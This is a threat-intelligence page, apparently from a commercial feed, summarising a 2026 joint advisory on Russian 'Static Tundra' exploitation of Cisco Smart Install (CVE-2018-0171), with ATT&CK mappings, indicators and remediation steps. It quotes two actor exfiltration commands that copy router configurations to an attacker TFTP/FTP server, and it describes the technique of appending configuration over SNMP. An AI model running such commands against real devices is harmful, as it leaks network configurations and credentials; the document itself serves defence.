NSA/FBI Joint Advisory: Disable Cisco Smart Install to Block Russian FSB "Static Tundra" Exploitation of CVE-2018-0171

NSA/FBI Joint Advisory (TL-2026-1279), also tracked as Static Tundra Cisco Smart Install Campaign, is a critical-severity software vulnerability scored CVSS 9.8, first published 2026-07-13. It is attributed to Static Tundra (Russia) with high confidence, affects Cisco Cisco IOS, references 1 CVE (CVE-2018-0171), maps to 20 MITRE ATT&CK techniques (T1016, T1018, T1040), and is covered by 9 detection rules and 18 indicators of compromise.

Key facts for TL-2026-1279

Threat ID
TL-2026-1279
Also known as
Static Tundra Cisco Smart Install Campaign, AA26-194A
Severity
CRITICAL
CVSS
9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Status
ACTIVE
Category
VULNERABILITY
First published
2026-07-13
Last reviewed
2026-07-13
Attribution
Static Tundra
Attribution confidence
HIGH
Nation-state nexus
Russia
Motivation
ESPIONAGE
Target sectors
defense industrial base, communications, energy, financial services, government administration, health, telecoms, higher education, manufacturing
Target regions
North America, Europe, Asia, Africa, ukraine
Detection rules
9
Indicators of compromise
18

Malware and tooling in NSA/FBI Joint Advisory

Malware and tooling: SYNful Knock - S0519

NSA, FBI, CISA, DoD Cyber Crime Center, and 14 international partner agencies issued joint advisory AA26-194A (July 9, 2026) attributing sustained exploitation of the legacy Cisco Smart Install feature (CVE-2018-0171, CVSS 9.8) to Russian FSB Center 16 actors tracked as Static Tundra, a group assessed as a sub-cluster of Energetic Bear / BERSERK BEAR. Unauthenticated attackers send crafted messages over TCP port 4786 to trigger device reloads, execute arbitrary code, or exfiltrate configurations from end-of-life Cisco IOS/IOS XE routers and switches across the Defense Industrial Base, communications, energy, financial services, government, and healthcare sectors.

How NSA/FBI Joint Advisory works

On July 9, 2026, NSA, FBI, CISA, the DoD Cyber Crime Center (DC3), and 14 international partner agencies (Australia, Canada, New Zealand, UK, Czech Republic, Denmark, Estonia, Finland, France, Italy, Poland, Sweden) published joint advisory AA26-194A warning that Russian FSB Center 16 cyber actors, publicly tracked by Cisco Talos as "Static Tundra," are actively and broadly exploiting CVE-2018-0171, a seven-year-old critical vulnerability (CVSS 3.1: 9.8) in the Smart Install (SMI) feature of Cisco IOS and IOS XE software. Smart Install is a legacy zero-touch provisioning feature that listens on TCP port 4786; an unauthenticated remote attacker can send a malformed Smart Install message to trigger a buffer overflow (CWE-787) leading to a device reload, watchdog-initiated crash (denial of service), or arbitrary code execution, or to abuse the feature's design flaw (CWE-20, improper input validation) to alter device configuration directly.

Static Tundra is assessed with high confidence to be a Russian state-sponsored espionage actor and, with moderate confidence, a sub-cluster of Energetic Bear (aka BERSERK BEAR), a group publicly linked to the FSB's Center 16 unit in a 2022 U.S. Department of Justice indictment. The group has operated for over a decade (active since at least 2015) with an intensification of operations since 2021, and is assessed with moderate confidence to be associated with the historic 2015 "SYNful Knock" firmware implant campaign against Cisco routers.

Observed tradecraft follows a consistent pattern: actors first gain access to unpatched, end-of-life networking devices with Smart Install enabled and/or default or weak SNMP community strings ("public", "anonymous") exposed. They use SNMP to instruct the device to download a text file from actor-controlled infrastructure and append it to the running configuration, creating local accounts, modifying TACACS+ logging to reduce visibility, and establishing GRE tunnels for traffic redirection. Harvested configuration files, NetFlow data, and other device state are exfiltrated over outbound TFTP or FTP connections (e.g., `show running-config | redirect tftp://<actor-server>/conf_bckp` and `copy running-config ftp://<user>:<pass>@<actor-server>/output.txt`) to actor-controlled infrastructure, including IPs 185.141.24[.]222, 185.82.202[.]34, 185.141.24[.]28, and 185.82.200[.]181, active at various points between March 2023 and July 2025. Over the past year alone, the actors are assessed to have collected configuration files for thousands of networking devices associated with U.S. entities across critical infrastructure sectors. Cisco Talos reports the same activity cluster has separately targeted telecommunications, higher education, and manufacturing organizations across North America, Asia, Africa, and Europe, with intensified operations against Ukraine and its allies following the onset of the Russo-Ukrainian war in 2022. The campaign is related to, but distinct from, an April 2026 NSA/FBI warning on Russian GRU (APT28/Fancy Bear/Forest Blizzard) exploitation of TP-Link devices via CVE-2023-50224 ("Operation Masquerade"), and follows an August 2025 FBI Public Service Announcement (PSA250820) on the same Static Tundra activity.

The joint advisory recommends disabling Cisco Smart Install entirely (it has no legitimate use case in most production environments) or applying Cisco's March 2018 patch, migrating from legacy SNMPv1/v2c to SNMPv3, disabling Telnet in favor of SSH-only administrative access, enforcing Type 8 (password) and Type 6 (TACACS+ key) encryption, blocking TFTP/SMI/SNMP at the network perimeter, replacing default/weak credentials, auditing for unexpected configuration changes and logging gaps, and replacing unsupported end-of-life hardware.

MITRE ATT&CK techniques used in TL-2026-1279

Discovery

T1016 System Network Configuration Discovery; T1018 Remote System Discovery

credential-access

T1040 Network Sniffing

Exfiltration

T1048 Exfiltration Over Alternative Protocol; T1048.003 Exfiltration Over Unencrypted Non-C2 Protocol

Defense Evasion

T1070.003 Clear Command History

Initial Access

T1078 Valid Accounts; T1190 Exploit Public-Facing Application

Command and Control

T1095 Non-Application Layer Protocol; T1205 Traffic Signaling; T1572 Protocol Tunneling

Credential Access

T1110.001 Password Guessing

Collection

T1119 Automated Collection

Persistence

T1136.001 Local Account

Impact

T1495 Firmware Corruption; T1529 System Shutdown/Reboot

Lateral Movement

T1570 Lateral Tool Transfer

Resource Development

T1583.003 Virtual Private Server

defense-impairment

T1601.001 Patch System Image; T1685.002 Disable or Modify Cloud Log

Affected products and versions in NSA/FBI Joint Advisory

  • Cisco — Cisco IOS
    Vulnerable versions: all releases prior to the March 2018 fixed train with Smart Install client enabled; 15.2(5)e (example vulnerable release)
    Fixed in: releases per Cisco Security Advisory cisco-sa-20180328-smi2
  • Cisco — Cisco IOS XE
    Vulnerable versions: all releases prior to the March 2018 fixed train with Smart Install client enabled
    Fixed in: releases per Cisco Security Advisory cisco-sa-20180328-smi2

Remediation for NSA/FBI Joint Advisory

Patches

  • Apply Cisco's March 28, 2018 fix for CVE-2018-0171 (Cisco Security Advisory cisco-sa-20180328-smi2, Bug ID CSCvg76186) on all IOS/IOS XE devices where Smart Install cannot be disabled

Immediate actions

  • Disable Cisco Smart Install feature globally (`no vstack` on affected IOS/IOS XE devices) unless a documented business need exists
  • Block inbound/outbound TCP port 4786 (Smart Install), TFTP, and legacy SNMPv1/v2c at the network perimeter and on device management interfaces
  • Rotate all SNMP community strings; disable default strings "public" and "anonymous"
  • Audit running-configs for unauthorized local accounts, TACACS+ logging changes, and unexpected GRE tunnel interfaces
  • Review NetFlow/syslog for gaps or decreases in logging volume indicating log tampering
  • Hunt for outbound TFTP/FTP sessions from network infrastructure to the IOC IP ranges 185.141.24.0/24 and 185.82.200.0/22

Workarounds

  • If patching is not immediately possible, fully disable the Smart Install client feature on all Cisco IOS/IOS XE switches and routers

Longer-term hardening

  • Migrate all network devices to SNMPv3 with authentication and encryption
  • Disable Telnet management access; enforce SSH-only administrative access
  • Centralize configuration management with a push (not pull) model to reduce exposure of pull-based provisioning services
  • Replace unsupported end-of-life Cisco hardware still exposing Smart Install
  • Implement network segmentation isolating management interfaces from general traffic

CVEs associated with NSA/FBI Joint Advisory

CVE-2018-0171

Weaknesses (CWE) in NSA/FBI Joint Advisory

CWE-787, CWE-20

Timeline of NSA/FBI Joint Advisory

  • SYNful Knock, a stealthy Cisco IOS firmware implant activated by a crafted TCP SYN 'magic packet', is publicly reported by Mandiant and Cisco; Talos later assesses Static Tundra as moderately likely associated with this historic activity.
  • Cisco publishes Security Advisory cisco-sa-20180328-smi2 and patches CVE-2018-0171 in the Smart Install feature of IOS and IOS XE (Bug ID CSCvg76186).
  • Active in-the-wild exploitation of CVE-2018-0171 is documented, marking the intensification of Static Tundra's Smart Install exploitation campaign.
  • A U.S. Department of Justice indictment links Energetic Bear (BERSERK BEAR) to the Russian FSB's Center 16 unit, later corroborated by the FBI as the parent cluster of Static Tundra.
  • Following the onset of the Russo-Ukrainian war, Static Tundra intensifies operations against Ukraine and its allies alongside continued targeting of Western critical infrastructure.
  • C2/exfiltration infrastructure at IP 185.141.24[.]222 observed active in Static Tundra operations.
  • C2/exfiltration infrastructure at IPs 185.82.200[.]181 and 185.141.24[.]28 begins operating (through November 15, 2024 and July 3, 2025 respectively).
  • C2/exfiltration infrastructure at IP 185.82.202[.]34 observed active through February 28, 2025.
  • Cisco Talos publishes 'Static Tundra' research and the FBI issues PSA250820 / a joint advisory, publicly naming the group and detailing TTPs, IOCs, and MITRE ATT&CK mappings for the Smart Install campaign.
  • NSA, FBI, CISA, DC3, and 14 international partner agencies publish joint advisory AA26-194A, reattributing and elevating the ongoing CVE-2018-0171 exploitation campaign to Russian FSB Center 16 / Static Tundra and urging organizations to disable Cisco Smart Install.
  • Threat surfaced into the Threadlinqs Intelligence pipeline via cybersecuritynews.com coverage of the NSA/FBI joint advisory.

Sources cited for NSA/FBI Joint Advisory

Threats related to NSA/FBI Joint Advisory

Detection coverage for TL-2026-1279

As of 2026-07-13, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-1279 across Splunk SPL, Microsoft KQL and Sigma, covering 18 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Community OSINT corroboration for TL-2026-1279

1 of this threat's indicators have also been reported by the open-source security community, which observed at least one of them before this report was published. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats